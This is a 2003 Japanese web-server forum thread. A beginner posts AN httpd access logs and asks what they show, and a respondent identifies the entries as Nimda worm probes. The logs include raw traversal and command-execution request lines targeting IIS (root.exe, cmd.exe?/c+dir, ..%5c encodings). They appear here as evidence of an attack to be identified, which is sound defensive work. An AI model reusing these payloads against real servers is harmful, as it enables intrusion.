投稿日:2003年09月19日 作成鷹の巣

No.12376 AN httpdのログ見て気になったこと



AN httpdのログ見て気になったこと

No.12376 投稿時間:2003年09月19日(Fri) 04:08 投稿者名:初心者(^^; URL:

1.
218.xxx.xxx.xxx -- [19/Sep/2003:03:46:18 +0900] "GET / HTTP/1.1" 200 748
65.yyy.yyy.yyy -- [19/Sep/2003:03:51:18 +0900] "GET / HTTP/1.1" 200 748
が頻繁に数分おき(不定間隔)に毎回違うIPアドレスからアクセスがあるのですがアクセスした人は何をしたいのでしょうか?

2.
- - [17/Sep/2003:18:10:04 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 211
- - [17/Sep/2003:18:10:04 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:04 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:04 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:05 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:05 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:05 +0900] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:05 +0900] "GET /msadc/..%5c../..%5c../..%5c/..チ../..チ../..チ../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:05 +0900] "GET /scripts/..チ../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:06 +0900] "GET /scripts/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 211
- - [17/Sep/2003:18:10:06 +0900] "GET /../winnt/system32/cmd.exe HTTP/1.0" 403 194
- - [17/Sep/2003:18:10:09 +0900] "GET /../winnt/system32/cmd.exe HTTP/1.0" 403 194
- - [17/Sep/2003:18:10:09 +0900] "GET /scripts/.. 5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:09 +0900] "GET /scripts/.. 5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:10 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
- - [17/Sep/2003:18:10:10 +0900] "GET /scripts/..%2f../winnt/system32/cmd.exe HTTP/1.0" 404 215
同一IPからきたこのログは不正ハッキング試みたのでしょうか?


過去ログに載っている。

No.12377 投稿時間:2003年09月19日(Fri) 04:25 投稿者名:APACHE URL:http://kemuri-net.dip.jp/~server/

過去ログにイヤと言うほど載っている。
ログ内容一部ググってあっさり解決。

と言うわけでNimda


どうも。

No.12398 投稿時間:2003年09月20日(Sat) 00:07 投稿者名:初心者(^^ URL:

> 過去ログにイヤと言うほど載っている。
> ログ内容一部ググってあっさり解決。
>
> と言うわけでNimda
なるほど^^;
どうもー


|目次|掲示板|過去ログ目次|▲頁先頭|